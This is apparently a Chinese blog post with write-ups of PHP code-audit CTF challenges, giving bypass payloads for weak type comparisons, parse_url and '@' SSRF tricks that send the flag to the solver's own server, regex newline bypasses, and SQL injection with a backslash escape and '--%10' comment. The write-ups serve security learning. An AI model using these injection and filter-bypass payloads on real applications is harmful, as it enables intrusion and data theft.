Iuhrey

一个常年被吊打的Web手 一个唱歌不好指弹垃圾的吉他手

关于代码审计的一些绕过方式

前言

这段时间断断续续的在做一些题目,知识点太过杂乱,而且时间太过仓促所以没写多少博客,最近刚好在系统学习一些php代码审计的内容,因此记录一些常见的绕过方式(参考一夜飘零师傅的博客)
题目的地址如下:http://solveme.peng.kr/

warmup


按照他如何加密我们如何解密就行了。

Bad compare


题目要求我们传入一个名为answer的变量,变量要等于后面一串奇怪的字符串。
直接复制是不太可能的,这里的字符应该是不可见字符,所以我们可以直接用脚本抓取网页代码然后在对应的区域进行url编码,最后把url编码传过去。附上脚本:

1
2
3
4
5
6
7
#coding=utf-8
import requests
import urllib
url = 'http://badcompare.solveme.peng.kr/'
r = requests.get(url)
ans = urllib.quote(r.content[917:927])
print ans

Winter sleep


这里要求我们传入的time值为数字类型,并且要介于(60 60 24 30 2)和(60 60 24 30 3)之间,满足条件后,网页会把time转化为int型然后沉睡time秒后回显flag,这里肯定是不可能等两到三个月的时间来拿flag的。关键点在于is_numeric()函数,这个函数可以检测数字和数字字符串,不仅可以检测十进制,也能检测十六进制,并且科学记数法也能检测出。但是有一个细节可以注意,网页是把time转化为了int型变量,既然有了is_nemeric()函数,为什么还需要用int类型转换呢?
这里就要利用int类型转化的缺陷了,int在转换字符型时,碰到字母就会停下来,也就是说(int)0e213等于0,这个在MD5弱类型比较时有着很强的作用。结合两者,我们可以想到用科学记数法来绕过。time赋值为6e6,等待六秒就行了。

Hard login


这题目是一个陷阱,它直接给出了登入成功会跳转的地址,所以我们是没必要去登入的,成功绕过登入实在是太过困难了一点,不过值得注意的是,直接访问index.php会跳转回来,我们可以抓包拿flag。

URL filtering


读题,题目的大致意思是把url?后的字符串以&作为分隔符分开,然后以=作为分隔符,前者为key,后者为value,然后要求变量do_you_want_flag=yes,但是key和value的值不能为do_you_want_flag和yes。
这里就存在一个矛盾了,既然url不能出现do_you_want_flag和yes那么我们如何通过get的方式得到do_you_want_flag变量值为yes呢?这里题目关键在于这里:


对于不合格的url会返回false,所以我们可以构造这个函数认为不合格但是服务器可以解析的url,例如这个:

1
http://urlfiltering.solveme.peng.kr//?do_you_want_flag=yes

这里就可以成功绕过得到flag了。

Hash collision


这题目比较简单,sha加密弱类型比较用数组就可以轻松绕过:

1
http://hashcollision.solveme.peng.kr/?foo[]=1&bar[]=2

Array2String


审题,题目要求我们不能输入username变量的值,只能通过chr(value)一个一个拼接成username变量的值,但是value不能在32-127之间,而我们的字符ascii码却在这之中,这题绕过方式很简单,关键在于chr()这个函数,chr()函数如果在处理大于256的值时,它会mod256直到参数小于256为止再进行操作,password读取/secret.passwd就能得到,所以payload如下:

1
http://array2string.solveme.peng.kr/index.php?value[]=305&value[]=309&value[]=372&value[]=360&value[]=351&value[]=328&value[]=353&value[]=355&value[]=363&value[]=361&value[]=366&value[]=359&value[]=323&value[]=353&value[]=365&value[]=368&password=simple_passw0rd


题目的意思是让我们输入一个url参数的值,但是呢,有几点要求:
第一是不能有类似_或者|和空格之类的字符。
第二必须要有http或者https开头,并且域名为题目的域名,也就是http://givemealink.solveme.peng.kr/。
第三是需要有/plz_give_me这个路径。
现在难点有两个,第一个是在_被禁止使用的时候如何绕过检测url路径中的/plz_give_me,这个问题查阅parse_url这个函数就可以解决,在解析url时,如果碰到无效字符,例如%10,%11等,就会使用_来替代这个无效字符。
第二个问题就是如何拿到flag了,这个问题的解决方法就是用到@的黑魔法了,如果按照正常的构造:http://givemealink.solveme.peng.kr/?url=http://givemealink.solveme.peng.kr/plz%10give%10me
那服务器就会去访问givemealink.solveme.peng.kr/flag这个地址,我们没办法看到flag(除非我们是这个服务器的拥有者),所以我们得让我们自己的服务器接收到这个才行。



如果我们使用了@,那么parse_url解析url时的host就是@后面的域名了,所以加上一个@再加自己服务器的ip就可以接收到flag了。

Give me a link2


题目和上一个差不多的要求,就是多了一点:host只能是localhost,127.xx.xx.xx,或者一个任意字符串加端口,也就是说这里不能使用xx.xx.xx.xx或者是xxxx.xxx的地址,满足条件后建立连接带flag访问其服务器的端口,如果访问成功则会返回Okay字样,但是如何绕过限制来使得这题目向我们服务器发生请求呢?

这里可以使用ip2long函数,这个函数会把ip转化为字符串形式,这里就可以绕过检测并且使得网页访问我们的服务器,构造?url=http://xxxxxx:xxxx/plz%10give%10me,网页直接回显了flag,要是没回显监听端口也能得到flag。

Replace filter


题目要求我们传入say变量的值,要求长度要小于20,并且只有say变量中有give_me_the_flag字符串才能得到flag,但是呢,在得到flag之前有一个替换的过程,只要匹配到带有flag的字符串就会被替换为后面一串奇怪的字符,这样一被替换那根本不可能得到flag,所以我们需要尝试绕过。
正则匹配时,.是不会匹配换行符的,在解析完换行符后不在同一行的话是匹配不到的。所以使用%0a即可绕过。
PS:这题目想到了onethink那道题目,那道题目就是通过%0a换行之后绕过了//,把shell写入了文件。

Hell JS

这题目一打开就和其他画风不太对,f12发现这是js混淆,先解密再说,脚本是从一叶飘零大佬那里借鉴来的。

解密发现了一堆可疑的数字,用脚本处理下直接出答案了。

1
2
3
4
5
6
7
8
9
10
11
12
#coding=utf-8
text = '...' #那串字符串
text = text.replace('"','')
text = text.split(',')
final = ""
for i in range(0,len(text)):
temp = ""
temp = text[i]
temp = temp.replace('+','')
temp = chr(int(temp))
final = final + temp
print final

Lax CAPTCHA


这题目我没做出来,分享一下思路吧。
题目要求我们先用generate触发生成图片码的应用,再让我们在3秒内输入验证码得到flag,人工拼手速是不行的,十五个字母太过长了。所以我想回溯到生成图片的最开始去获取answer,但是我发现一旦解码就成了乱码,无法进一步回溯,gg。
第二种思路就是用脚本识别验证码然后传参,但是这种方法目前实现太过困难了,通过像素点从数据库中一一比对这种技术我还做不到,所以gg。
第三种就是去预测生成的验证码了,mt_rand也是一个伪随机生成器,但是我预测失败,gg。

Anti SQLi


这题目就是一道注入题,给了源码而已,有点像实验吧的一些注入题。题目一开始过滤了一堆东西,与其去看正则还不如用字典扫一下,再结合来看。
首先是闭合符’被过滤了,这里可以考虑看看编码情况,如果是gbk编码可以构造出’,但是这里不存在这种方法。但是接着后看的时候发现了一点,发现转义符\并没有过滤完善,过滤\是需要四个\来完成的,所以这里可以用\闭合掉一个’造成闭合符逃逸,接着就是如何注释的问题了,上面仔细观察发现过滤了–加上后面是空格符,换行符之类的,但是忽略了一个不可见字符,所以这里可以使用–%10来注释掉,最后一个问题就是需要查询出31337这个数据,要知道如果使用SELECT * FROM antisqli WHERE id=’{$id}’ AND pw=md5(‘{$pw}’)这个查询语句是查不出的,这里就必须要用到联合查询语句,但是order by和union select 被过滤了,order by倒是可以使用一个一个猜测来完成,但是union select要怎么办呢?可以在中间加个all,只是这个整体被过滤我们只要改变这个就行了,payload如下:

1
?id=\&pw=union all select 1,1,1 from antisqli --%10

回显hello,1
所以把1都改为31337就行了

Name check


先看得到flag的条件,需要row[0],row[1],row[2],row[3]四个相加等于4,也就是说他们四个要为true才行。那接着分析四个语句。
第一个条件要求字符串开头要为a。
第二个条件要求d字符不能在开头。
第三个条件要求字符要为a_m__的格式。
第四个条件字符后两位为in。
结合起来看就是要求name为admin,但是题目会过滤admin以及一些连接符,这里值得注意的是sqlite不像mysql一样使用+来进行连接,而是使用||,所以使用ad’||’min即可绕过。

Super secure hash


这题目没做出来,最后只得到crc32加密后的密码:

这题目思路很明确了,就是通过爆破去找到这个加密前的密码。在比较密码的时候清一色都是使用强类型比较根本不可能使用布尔值来绕过,所以只能去找密码,但是crc32在6位以上的密码又是基本不可能爆破出的,所以卡死在这了,gg。

最后几道题目知识点有点多,还是单独写比较好,毕竟太快写完有点知识不牢固。还是太懒了啊…..学习动力匮乏,希望找点一点积极的东西来促进学习吧。

本站总访问量